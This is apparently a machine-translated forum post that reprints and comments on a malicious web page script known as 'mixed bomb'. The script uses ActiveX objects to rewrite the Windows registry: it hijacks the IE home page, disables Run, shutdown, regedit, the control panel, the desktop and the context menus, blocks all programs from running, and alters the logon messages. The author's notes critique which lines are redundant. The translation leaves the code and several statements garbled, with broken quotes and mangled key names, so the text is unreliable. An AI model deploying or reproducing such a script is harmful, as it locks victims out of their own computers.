A few months ago, I found a good thing. It is said to be the original code of "mixed bomb". Down is behind, the encrypted code! Oh, there are other things in hand, I didn't look at it. I have n'thing to do in the past few days ago, I turned out that code, I saw it, and now I will talk about the code meaning of the modification of the registry project, as for other JS code not to introduce.
The original code is as follows:
-------------------------------------------------- ---
Var Words = "
// Write the code of the registry
Document.write ("
Document.write ("
Function f ()
{
Try
{
/ / Prepare for writing registry
A1 = Document.Applets [0];
A1.SETCLSID ("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
A1.CREATEINSTANCE ();
SHL = a1.GetObject ();
A1.SETCLSID ("{0D43FE01-F093-11CF-8940-00A0C9054228}");
A1.CREATEINSTANCE ();
FSO = a1.GetObject ();
A1.SETCLSID ("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");
A1.CREATEINSTANCE ();
Net = a1.GetObject ();
/ / Officially start modifying the registry
Try
{
/ / Modify IE Home
SHL.REGWRITE ("HKCU // Software // Microsoft // Internet Explorer // Main // START PAGE", "
http://ok989.ok999.net ");
// Do not "start" - "Run"
SHL.REGWRITE
("HKCU // Software // Microsoft // Windows // CurrentVersion // Policies // Explorer
// norun ", 01," reg_binary ");
// Prohibited "Start" - "Close System"
SHL.REGWRITE ("HKCU // Software // Microsoft // Windows // CurrentVersion // Policies // Explorer
// Noclose ", 01," reg_binary ");
// Prohibited "Start" - "Logout"
SHL.REGWRITE ("HKCU // Software // Microsoft // Windows // CurrentVersion // Policies // Explorer
// Nologoff ", 01," reg_binary ");
// Shield drive (all driven all drives have been met)
SHL.REGWRITE ("HKCU // Windware // Microsoft // Windows // CurrentVersion // Policies // Explorer // Nodrives", "6710863", "Reg_dword");
// Do not use regedit.exe to modify the registry
SHL.REGWRITE ("HKCU // Software // Microsoft // Windows // CurrentVersion // Policies // System //
DisableregISTRYTOOLS "," 00000001 "," REG_DWORD ");
// Disable the desktop icon
SHL.REGWRITE ("HKCU // Software // Microsoft // Windows // CurrentVersion //
Policies // Explorer // Nodesktop "," 00000001 "," REG_DWORD ");
// Do not "MD-DOS Compatibility Procedure"
SHL.REGWRITE ("HKCU // Software // Microsoft // Windows // CurrentVersion //
Policies // WinoldApp // Disabled "," 00000001 "," REG_DWORD ");
/ / Do not "start" - "Restart the computer" and switch to MS-DOS mode "menu
SHL.REGWRITE
("HKCU // Software // Microsoft // Windows // CurrentVersion //
Policies // WinoldApp // NoreAlMode "," 00000001 "," REG_DWORD ");
/ / Modify the dialog box that pops up when the system starts
SHL.REGWRITE ("HKLM // Software // Microsoft // Windows // CurrentVersion //
Winlogon // legalnoticecaption, "★ ★ 市场 ★ 域 ★");
SHL.REGWRITE ("HKLM // Software // Microsoft // Windows // CurrentVersion //
Winlogon // legalnoticetext "," ★ heaven and earth ruthless. Death ★ ");
// Add startup item, useless
SHL.REGWRITE ("HKEY_LOCAL_MACHINE // Software // Microsoft // Windows // CurrentVersion //
RunServices // SchedulingAgent "," "," REG_SZ ");
// Prohibit save user settings
SHL.REGWRITE ("HKEY_CURRENT_USER // Software // Microsoft // Windows // CurrentVersion //
Policies // Explorer // NosaveSettings ", 01," Reg_binary ");
// Do not have a desktop, drive, folder right click
SHL.REGWRITE ("HKEY_CURRENT_USER // Software // Microsoft // Windows // CurrentVersion //
Policies // Explorer // NoviewContextMenu ", 01," REG_BINARY ");
// Prohibit the right key
SHL.REGWRITE ("HKEY_CURRENT_USER / / SOFTWARE // Microsoft // Windows // CurrentVersion // Policies // Explorer // NOTRAYCONTEXTMENU", 01, "Reg_binary");
// Add startup item, useless
SHL.REGWRITE ("HKEY_LOCAL_MACHINE // Software // Microsoft // Windows // CurrentVersion //
Run // scanregistry "," "", "reg_sz");
// Do not open the folder
SHL.REGWRITE ("HKEY_CLASS_ROOT // Folder // shell // Open // Ddeexec //"
"Rem [viewfolder (% l,% i,% s)]", "reg_sz");
SHL.REGWRITE ("HKEY_CLASS_ROOT // folder // shell // Explore // Ddeexec //"
"Rem [viewfolder (% l,% i,% s)]", "reg_sz");
// is unknown
SHL.REGWRITE ("HKEY_CLASES_ROOT / / CLSID / / {01E04581-4eee-11d0-BFE9-00AA005B4383}," REM [ViewFolder (% L,% i,% s)] "," REG_SZ ");
// is unknown
SHL.REGWRITE ("HKEY_CLASS_ROOT / / CLSID / / {01E04581-4eee-11d0-BFE9-00AA005B4383}," Reg_sz ");
// Prohibit .reg file, text mode open
SHL.REGWRITE ("HKEY_LOCAL_MACHIN /// Software // Classes /// .reg //", "TXTFILE", "REG_SZ");
// Prohibition of running any program
SHL.REGWRITE ("HKEY_CURRENT_USER // Software // Microsoft // Windows // CurrentVersion //
Policies // Explorer // RESTRICTRUN, "00000001", "REG_DWORD");
// is unknown
SHL.REGWRITE ("HKEY_LOCAL_MACHINE / / ENUM / / PCI // ChannelOptions", 02, "Reg_binary");
// Do not close the IE window
SHL.REGWRITE ("HKCU // Software // Policies // Microsoft // Internet Explorer // RESTRICTIONS // NobrowSerclose", "01", "Reg_dword"); // Prohibits "My Computer" - "Properties" - " Equipment Manager
SHL.REGWRITE ("HKEY_CURRENT_USER // Software // Microsoft // Windows // CurrentVersion //
Policies // system // nodevmgrpage ", 1," reg_dword ");
// Prohibit "Control Panel"
SHL.Regwrite ("HKCU // Software // Microsoft // Windows // CurrentVersion // Policies //
Explorer // NosetFolders "," REG_DWORD "); // Do not" start "-" Find "
SHL.REGWRITE ("HKEY_CURRENT_USER // Software // Microsoft // Windows // CurrentVersion //
Policies // Explorer // Nofind "," 00000001 "," REG_DWORD ");
// Do not "start" - "Favorites"
SHL.REGWRITE ("HKEY_CURRENT_USER // Software // Microsoft // Windows // CurrentVersion //
Policies // Explorer // NofavoritesMenu "," 00000001 "," REG_DWORD ");
// Do not "start" - "Document"
SHL.REGWRITE ("HKEY_CURRENT_USER // Software // Microsoft // Windows // CurrentVersion //
Policies // Explorer // NoreCentDocsmenu "," 00000001 "," Reg_dword ");
// Prohibit "Task Bar Properties"
SHL.REGWRITE ("HKEY_CURRENT_USER // Software // Microsoft // Windows // CurrentVersion //
Policies // Explorer // Nosettaskbar "," 00000001 "," REG_DWORD ");
// Modify time prompt information
SHL.REGWRITE ("HKEY_CURRENT_USER // CONTROL Panel // International // StimeFormat", "HH: mm: SS TT", "REG_SZ");
SHL.REGWRITE ("HKEY_CURRENT_USER / / CONTROLPANEL // International // S1159"
, "★ 绝 界 ★", "reg_sz"); shl.regWrite ("HKEY_CURRENT_USER / / / CONTROL PANEL // International //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////" "
// end write regedit
Document.write ("
");Document.write ("
}
Catch (e)
{
Document.write ("
");Document.write ("
}
}
Catch (e)
{
Document.write ("
");Document.write ("
}
}
Function clean ()
{
SetTimeout ("F ()", 1000);
}
Clean ();
script>
IF (this.name! = fullscreen) {
WINDOW.OPEN (Location.href, Fullscreen, Fullscreen, Scrollbars)
}
// end ->
script>
font> b> p>
Stripwater, water is more stream. font> b> p>
Toast, I am more embarrassed b> font> . font> b> font> p> "
// Decrypt the original code
Function setNewwords ()
{
Var newwords;
NewWords = Unescape (Words);
Document.write (NewWords);
}
Setnewwwords ();
// ->
script>
-------------------------------------------------- ---
Let's take a look at the opinion of this code, come from the beginning:
1. There is no use of useless startup items in the code, there is no meaning.
2. Because all programs are prohibited from running (very vicious), the REG file and INF files cannot be opened, so there is no need to change the type of REG and INF files, which has become a unnecessary code (this is my previous test " Small bug found when the governance valley "). In addition, the MS-DOS compatibility procedure is prohibited to become extra code.
3. Prohibit save user settings, feel that there is nothing to use, you can go.
4. Disable the device manager, prohibit the collection, and the document seems to be useless, it can't see what is meaningful.
5. It is not necessary to turn off the computer and then "restart your computer and switch to MS-DOS mode".
6. Two of them I don't understand the meaning of it, but I feel that there is no extra code of the actual meaning.
7. It is worth mentioning that the full name of the registry primary key is used in the code of the first adding start item, ie "HKEY_LOCAL_MACHINE". This is my first time I saw such a modified registry (I have a big help to me "extremely talented Valley"). I have seen the abbreviation, hkey_local_machine = HKLC, HKEY_CURRENT_USER = HKCU.